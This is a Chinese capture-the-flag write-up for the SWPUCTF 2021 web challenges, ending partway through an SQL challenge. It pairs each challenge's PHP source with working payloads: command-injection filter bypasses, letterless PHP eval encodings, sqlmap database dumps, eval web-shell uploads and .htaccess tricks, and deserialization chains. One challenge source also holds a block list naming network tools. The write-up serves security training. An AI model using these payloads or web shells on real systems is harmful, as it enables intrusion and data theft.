SWPUCTF 2021

Web

jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

Payload ๅฆ‚ไธ‹

Body: id=wllmNB
Param: json={"x":"wllm"}

easy_md5

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>

Payload ๅฆ‚ไธ‹

Body: password[]=2
Param: name[]=1

easy_sql

ๆ‰“ๅผ€้กต้ขๅŽ title ๅญ˜ๅœจๆ็คบ ๅ‚ๆ•ฐๆ˜ฏ wllm ใ€‚

$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 -D test_db --tables
Database: test_db
[2 tables]
+---------+
| test_tb |
| users   |
+---------+
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 -D test_db -T test_tb --columns
Database: test_db
Table: test_tb
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(50) |
| id     | int(11)     |
+--------+-------------+
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 -D test_db -T test_tb -C flag --dump
Database: test_db
Table: test_tb
[1 entry]
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| NSSCTF{66c831a1-4505-4bcd-8b89-b9620b715aeb} |
+----------------------------------------------+

include

Payload ๅฆ‚ไธ‹

file=php://filter/convert.base64-encode/resource=flag.php

caidao

่šๅ‰‘ๅˆฉ็”จ $_POST['wllm'] ไธ€ๆŠŠๆขญใ€‚

easyrce

url=system("ls%20/");

ๅ›žๆ˜พ bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ๏ผŒ

url=system("cat%20/flllllaaaaaaggggggg");

ๅพ—ๅˆฐ flagใ€‚

babyrce

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "ๅฐ้ฅผๅนฒๆœ€ๅฅฝๅƒๅ•ฆ๏ผ";
?>

่ฎพ็ฝฎ Cookie admin=1 ๏ผŒๅณๅฏๅˆฐ่พพไธ‹ไธ€ๅ…ณ ใ€‚

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>

้€š่ฟ‡ๅˆ†ๆžๅฏๅพ—็ฉบๆ ผ่ขซ่ฟ‡ๆปค๏ผŒๅฏไปฅ้€š่ฟ‡ $IFS$1 ๆฅ็ป•่ฟ‡๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

url=ls$IFS$1/

ๅพ—ๅˆฐๅ›žๆ˜พ bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ๏ผŒ

url=cat$IFS$1/flllllaaaaaaggggggg

ๅพ—ๅˆฐ flagใ€‚

hardrce

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm'])) {
  $wllm = $_GET['wllm'];
  $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
  foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $wllm)) {
      die("LTLT่ฏดไธ่ƒฝ็”จ่ฟ™ไบ›ๅฅ‡ๅฅ‡ๆ€ชๆ€ช็š„็ฌฆๅทๅ“ฆ๏ผ");
    }
  }
  if(preg_match('/[a-zA-Z]/is',$wllm)) {
    die("Ra's Al Ghul่ฏดไธ่ƒฝ็”จๅญ—ๆฏๅ“ฆ๏ผ");
  }
  echo "NoVic4่ฏด๏ผšไธ้”™ๅ“ฆๅฐไผ™ๅญ๏ผŒๅฏไฝ ่ƒฝๆ‹ฟๅˆฐflagๅ—๏ผŸ";
  eval($wllm);
} else {
  echo "่”กๆ€ป่ฏด๏ผšๆณจๆ„ๅฎก้ข˜๏ผ๏ผ๏ผ";
}
?>

ๅ‘็Žฐๆฒกๆœ‰่ฟ‡ๆปค % ๏ผŒๅˆไธ่ƒฝ็”จๅญ—ๆฏ๏ผŒ้‚ฃๅฐฑๅช่ƒฝๅฐ่ฏ•ไธ‹ Urlencode ๅ–ๅ็ป•่ฟ‡ไบ†ใ€‚

<?php
$a = 'system';
$b = 'ls$IFS$1/';
echo '(~'.urlencode(~$a).')(~'.urlencode(~$b).');';
// (~%8C%86%8C%8B%9A%92)(~%93%8C%DB%B6%B9%AC%DB%CE%D0);

ๆž„้€  Payload ๅฆ‚ไธ‹

wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DB%B6%B9%AC%DB%CE%D0);

ๅฏไปฅๅพ—ๅˆฐๅ›žๆ˜พๅฆ‚ไธ‹

bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

้€š่ฟ‡ๆž„้€  Urlencode ๅ–ๅๅŽ้€š่ฟ‡ๅฆ‚ไธ‹ Payload ๅฐฑๅฏไปฅๅพ—ๅˆฐ flag ไบ†ใ€‚

<?php
$a = 'system';
$b = 'cat$IFS$1/flllllaaaaaaggggggg';
echo '(~'.urlencode(~$a).')(~'.urlencode(~$b).');';
// (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%B6%B9%AC%DB%CE%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%B6%B9%AC%DB%CE%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

hardrce_3

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm'])) {
  $wllm = $_GET['wllm'];
  $blacklist = [' ','\^','\~','\|'];
  foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $wllm)) {
      die("ๅฐไผ™ๅญๅชไผšๅผ‚ๆˆ–ๅ’Œๅ–ๅ๏ผŸไธๅฅฝๆ„ๆ€ๅ“ฆLTLT่ฏดไธ่ƒฝ็”จ๏ผ๏ผ");
    }
  }
  if(preg_match('/[a-zA-Z0-9]/is',$wllm)) {
    die("Ra'sAlGhul่ฏด็”จๅญ—ๆฏๆ•ฐๅญ—ๆ˜ฏๆฒกๆœ‰็ต้ญ‚็š„๏ผ");
  }
  echo "NoVic4่ฏด๏ผšไธ้”™ๅ“ฆๅฐไผ™ๅญ๏ผŒๅฏไฝ ่ƒฝๆ‹ฟๅˆฐflagๅ—๏ผŸ";
  eval($wllm);
} else {
  echo "่”กๆ€ป่ฏด๏ผšๆณจๆ„ๅฎก้ข˜๏ผ๏ผ๏ผ";
}
?>

่ฟ™ๆ˜ฏไธ€้“ๆ— ๅญ—ๆฏๆ•ฐๅญ— rce ๏ผŒๆ นๆฎ็™พๅบฆไธ€็•ชๆŸฅๆ‰พๆ‰พๅˆฐ็”จ่‡ชๅขž็š„ๆ–นๆณ•ๆฅ่งฃๅ†ณ

https://blog.csdn.net/qq_61778128/article/details/127063407

<?php
$_=[].'';   //ๅพ—ๅˆฐ"Array"
$___ = $_[$__];   //ๅพ—ๅˆฐ"A"๏ผŒ$__ๆฒกๆœ‰ๅฎšไน‰๏ผŒ้ป˜่ฎคไธบFalseไนŸๅณ0๏ผŒๆญคๆ—ถ$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //ๅพ—ๅˆฐ"S"๏ผŒๆญคๆ—ถ$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //ๅพ—ๅˆฐ"E"๏ผŒๆญคๆ—ถ$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //ๅพ—ๅˆฐ"R"๏ผŒๆญคๆ—ถ$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //ๅพ—ๅˆฐ"T"๏ผŒๆญคๆ—ถ$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //ๅพ—ๅˆฐ"P"๏ผŒๆญคๆ—ถ$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //ๅพ—ๅˆฐ"O"๏ผŒๆญคๆ—ถ$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //ๅพ—ๅˆฐ"S"๏ผŒๆญคๆ—ถ$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //ๅพ—ๅˆฐ"T"๏ผŒๆญคๆ—ถ$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);

่ฟ™้‡Œๆ”พไธ€ไธชๅŽ‹็ผฉ็‰ˆ๏ผˆ

<?php
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;$___.=$__;$__++;$__++;$___.=$__;$__=$_;$____="_";$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__++;$__++;$__++;$__++;$____.=$__;$__++;$____.=$__;$_=$$____;$___($_[_]);

ๅฐ†ไปฅไธŠๅ†…ๅฎน่ฟ›่กŒไธ€ๆฌก Urlencode ็ผ–็ ๅพ—ๅˆฐไปฅไธ‹ๅ†…ๅฎน๏ผŒๅฐ†ๅ…ถไฝœไธบ Payload ใ€‚

wllm=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%5F%5F%3D%24%5F%5B%24%5F%5F%5D%3B%24%5F%5F%3D%24%5F%5F%5F%3B%24%5F%3D%24%5F%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%5F%5F%3D%22%5F%22%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%24%5F%5F%5F%5F%3B%24%5F%5F%5F%28%24%5F%5B%5F%5D%29%3B

ไฝ†ๆ˜ฏๅ‘็Žฐๅนถๆฒกๆœ‰็”จ๏ผŒ้€š่ฟ‡็™พๅบฆ็œ‹ๅ‘็Žฐ่ฟ˜้œ€่ฆๅˆฉ็”จ file_put_contents() ๅ‡ฝๆ•ฐๆฅ็ป•่ฟ‡ disable_functionใ€‚

ๆ‰€ไปฅ้œ€่ฆๆž„้€  Payload ๅฆ‚ไธ‹๏ผˆbody ้ƒจๅˆ†๏ผ‰

_=file_put_contents('1.php','<?php eval($_POST[1]); ?>');

็„ถๅŽ่ฎฟ้—ฎ ./1.php ๅ‘็Žฐๆ–‡ไปถๆˆๅŠŸๅ†™ๅ…ฅๅŽๅฐ่ฏ•็”จ่šๅ‰‘่ฟžๆŽฅ๏ผŒ่ฟžๆŽฅๆˆๅŠŸๅŽๅ‘็Žฐ flag ๅฐฑๅœจๆ น็›ฎๅฝ• /flag ไธญใ€‚

finalrce

<?php
highlight_file(__FILE__);
if(isset($_GET['url'])) {
  $url=$_GET['url'];
  if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) {
    echo "Sorry,you can't use this.";
  } else {
    echo "Can you see anything?";
    exec($url);
  }
}

้€š่ฟ‡ tee ๅ’Œ ็ฎก้“็ฌฆ ๅฏไปฅๅฐ†ๅ€ผ่พ“ๅ‡บๅˆฐๆ–‡ไปถไธญ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

url=l\s / | tee 1.html

่ฎฟ้—ฎ ./1.html ๅฏไปฅๅพ—ๅˆฐไปฅไธ‹ๅ†…ๅฎน

a_here_is_a_f1ag bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

ๆž„้€ ไปฅไธ‹ Payload ่Žทๅ– flag ๏ผŒ้œ€่ฆๆณจๆ„ la ๅ’Œ cat ่ขซ่ฟ‡ๆปคไบ†๏ผŒ้œ€่ฆไฝฟ็”จ \ ่ฟ›่กŒ็ป•่ฟ‡

url=c\at /flllll\aaaaaaggggggg | tee 2.html

่ฎฟ้—ฎ ./2.html ๅฐฑๅฏไปฅๅพ—ๅˆฐ flag ไบ†ใ€‚

Do_you_know_http

ไฟฎๆ”นไปฅไธ‹ไธค้กน

User-Agent: WLLM
X-Forwarded-For: 127.0.0.1

ๅณๅฏๅพ—ๅˆฐ flagใ€‚

ez_unserialize

ๅ…ˆ็”จ dirsearch ๆ‰พๆ‰พๆ–‡ไปถ~

$ python dirsearch.py -u http://node2.anna.nssctf.cn:28104/
[11:43:36] 200 -    0B  - /flag.php
[11:49:43] 200 -   35B  - /robots.txt

่ฎฟ้—ฎ /robots.txt ๅฏไปฅๅพ—ๅˆฐ /cl45s.php ๏ผŒ่ฎฟ้—ฎๅฏไปฅๅพ—ๅˆฐไปฅไธ‹ไปฃ็ ใ€‚

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

่ฟ™ๆ˜ฏไธ€้“ๅๅบๅˆ—้ข˜๏ผŒๅ…ˆ่ฟ›่กŒๅบๅˆ—ๅŒ–ๆž„้€ ใ€‚

<?php
class wllm{

  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo "Just a bit more!";
    }
  }
}

$a = new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
echo serialize($a)
// O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

ๅพ—ๅˆฐ่ฟ”ๅ›ž็š„ๅ€ผๅŽๆž„้€  Payload ๅฆ‚ไธ‹

p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

ๅฐฑๅพ—ๅˆฐ flag ใ€‚

easyupload1.0

ๆž„้€ ๅ›พ็‰‡้ฉฌ

POST /upload.php HTTP/1.1

------WebKitFormBoundary8eWcQ5xJ0L37mCSt
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST[1]); ?>
------WebKitFormBoundary8eWcQ5xJ0L37mCSt

ไธŠไผ ๅŽๅพ—ๅˆฐๅ›žๆ˜พ ./upload/shell.php ๏ผŒ้€š่ฟ‡่šๅ‰‘ไธ€ๆŠŠๆขญๅ‘็Žฐๆ น็›ฎๅฝ•็š„ flag ๆ˜ฏๅ‡็š„๏ผŒ้‚ฃๅฐฑๆ‰พๆ‰พ็Žฏๅขƒๅ˜้‡็ฝข๏ผŒ้€š่ฟ‡ๆž„้€  Payload ๅฆ‚ไธ‹

1=phpinfo();

F5 ๆŸฅๆ‰พๅ‘็Žฐ flag ๅฐฑๅœจ่ฟ™้‡Œ้ขใ€‚

easyupload2.0

ๆž„้€ ๅ›พ็‰‡้ฉฌ

POST /upload.php HTTP/1.1

------WebKitFormBoundary8eWcQ5xJ0L37mCSt
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST[1]); ?>
------WebKitFormBoundary8eWcQ5xJ0L37mCSt

ไธŠไผ ๅŽๅพ—ๅˆฐๅ›žๆ˜พ phpๆ˜ฏไธ่กŒๆปด ๏ผŒ้‚ฃๅฐฑๅฐ่ฏ•ไฟฎๆ”นๅŽ็ผ€ไธบๅ…ถไป–๏ผˆๆฏ”ๅฆ‚ .phtml ๏ผ‰๏ผŒไธŠไผ ๆˆๅŠŸๅŽ็›ดๆŽฅๆž„้€  Payload ๅฆ‚ไธ‹

1=phpinfo();

F5 ๆŸฅๆ‰พๅ‘็Žฐ flag ๅฐฑๅœจ่ฟ™้‡Œ้ขใ€‚

easyupload3.0

่ฟ™ๆฌกๆฏ”ไธŠไธ€ๆฌกๆฅ่ฏด่ฟ‡ๆปคไบ†ๅพˆๅคš๏ผŒๆ”นๅŽ็ผ€ๅๅทฒ็ปๆ— ๆณ•็ป•่ฟ‡ไบ†๏ผŒ้‚ฃๅฐฑ่ฏ•่ฏ•ๆ”น .htaccess ็ฝขใ€‚

POST /upload.php HTTP/1.1

------WebKitFormBoundaryfmADKqeYk0Yxw93y
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryfmADKqeYk0Yxw93y

ๅ‘็ŽฐไธŠไผ ๆˆๅŠŸ๏ผŒ้‚ฃๅฐฑไธŠไผ ไธชๅ›พ็‰‡้ฉฌ็ฝขใ€‚

POST /upload.php HTTP/1.1

------WebKitFormBoundaryfmADKqeYk0Yxw93y
Content-Disposition: form-data; name="uploaded"; filename="1.png"
Content-Type: image/png

<?php eval($_POST[1]); ?>
------WebKitFormBoundaryfmADKqeYk0Yxw93y

ไธŠไผ ๆˆๅŠŸๅŽ็›ดๆŽฅๆž„้€  Payload ๅฆ‚ไธ‹

1=phpinfo();

F5 ๆŸฅๆ‰พๅ‘็Žฐ flag ๅฐฑๅœจ่ฟ™้‡Œ้ขใ€‚

no_wakeup

ๆ นๆฎ้ข˜็›ฎ็Œœๆต‹ๆ˜ฏ้œ€่ฆ็ป•่ฟ‡ๅๅบๅˆ—ๅŒ–ๆ—ถๅ€™็š„ __wakeup() ้ญ”ๆœฏๆ–นๆณ•ใ€‚

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

ๅฏไปฅ้€š่ฟ‡ไฟฎๆ”นๅๅบๅˆ—ๅŒ–ๅฏน่ฑก็š„ๅ‚ๆ•ฐๅฐฑๅฏไปฅ็ป•่ฟ‡่ฏฅ้ญ”ๆœฏๆ–นๆณ•ไบ†๏ผŒๅ…ˆ่ฟ›่กŒๅบๅˆ—ๅŒ–ๆž„้€ ใ€‚

<?php
class HaHaHa{


  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __wakeup(){
    $this->passwd = sha1($this->passwd);
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "wllm"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->passwd;
      echo "No wake up";
    }
  }
}

$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
echo serialize($a);

ๅฏไปฅๅพ—ๅˆฐๅ€ผ

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

ๅฐ†ๅฏน่ฑกๅ‚ๆ•ฐไธชๆ•ฐ 2 ๆ”นๆˆ 3 ๅณๅฏ็ป•่ฟ‡๏ผŒๅณๆž„้€  Payload ๅฆ‚ไธ‹

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

PseudoProtocols

้ข˜็›ฎๆ ‡้ข˜ไธบ ไผชๅ่ฎฎ ๏ผŒ้‚ฃๅฐฑๆ˜ฏไธ€้“ ไผชๅ่ฎฎ ็š„้ข˜็›ฎๅŠ›ใ€‚

้ข˜็›ฎๅญ˜ๅœจ Param wllm ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

wllm=php://filter/convert.base64-encode/resource=hint.php

ๅฐฑๅฏไปฅๅพ—ๅˆฐ hint.php ็š„ไปฃ็ ๅฆ‚ไธ‹

<?php
//go to /test2222222222222.php
?>

ๅ‰ๅพ€ๆ็คบๅ†…็š„ๆ–‡ไปถๅฏไปฅๅพ—ๅˆฐไปฅไธ‹ไปฃ็ 

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

้œ€่ฆไฝฟๅพ— a ็š„ๅ€ผไธบ I want flag ๏ผŒๅ…ˆๅฐ† I want flag ่ฟ›่กŒ base64 ็ผ–็ ๅพ—ๅˆฐ SSB3YW50IGZsYWc= ๏ผŒๅ†ๆž„้€  Payload ๅฆ‚ไธ‹

a=data://text/plain;base64,SSB3YW50IGZsYWc=

ๅฐฑๅฏไปฅๅพ—ๅˆฐ flag ไบ†ใ€‚

error

ๆ นๆฎ้ข˜็›ฎ็Œœๆต‹ๆ˜ฏ SQL ๆŠฅ้”™ๆณจๅ…ฅ๏ผˆ๏ผŸ๏ผŒ่ฏ•่ฏ• sqlmapใ€‚

$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 -D test_db --tables
Database: test_db
[2 tables]
+---------+
| test_tb |
| users   |
+---------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 -D test_db -T test_tb --columns
Database: test_db
Table: test_tb
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(50) |
| id     | int(11)     |
+--------+-------------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 -D test_db -T test_tb -C flag --dump
Database: test_db
Table: test_tb
[1 entry]
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| NSSCTF{d9d7ae7c-5b01-461c-836a-4e0f784d9784} |
+----------------------------------------------+

pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

ๅ…ˆๆž„้€ ๅบๅˆ—ๅŒ–

<?php
class w44m{

  private $admin = 'aaa';

  public function setAdmin(string $admin): void
  {
    $this->admin = $admin;
  }

  public function setPasswd(string $passwd): void
  {
    $this->passwd = $passwd;
  }
  protected $passwd = '123456';

  public function Getflag(){
    if($this->admin === 'w44m' && $this->passwd ==='08067'){
      include('flag.php');
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo 'nono';
    }
  }
}

class w22m{
  public $w00m;
  public function __destruct(){
    echo $this->w00m;
  }
}

class w33m{
  public $w00m;
  public $w22m;
  public function __toString(){
    $this->w00m->{$this->w22m}();
    return 0;
  }
}

$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m = $b;
$b->w00m = $c;
$b->w22m = 'Getflag';
$c->setAdmin('w44m');
$c->setPasswd('08067');
echo urlencode(serialize($a));
// O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

ไน‹ๅŽๆž„้€  Payload ๅฆ‚ไธ‹ๅณๅฏๅพ—ๅˆฐ flag ใ€‚

w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

sql

้ข˜็›ฎไธญ่ฏดๆ˜Ž้œ€่ฆ็ป•่ฟ‡ Waf ๏ผŒ้‚ฃๅฐฑๅ…ˆๅˆคๆ–ญ่ขซ่ฟ‡ๆปค็š„ๅญ—็ฌฆ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

wllm=1' and 1=1%23
wllm=1'||1=1%23
wllm=1' or 1%23

ๅ›žๆ˜พๆ็คบๅญ˜ๅœจ้žๆณ•ๅญ—็ฌฆ๏ผŒ

wllm=1'||1#

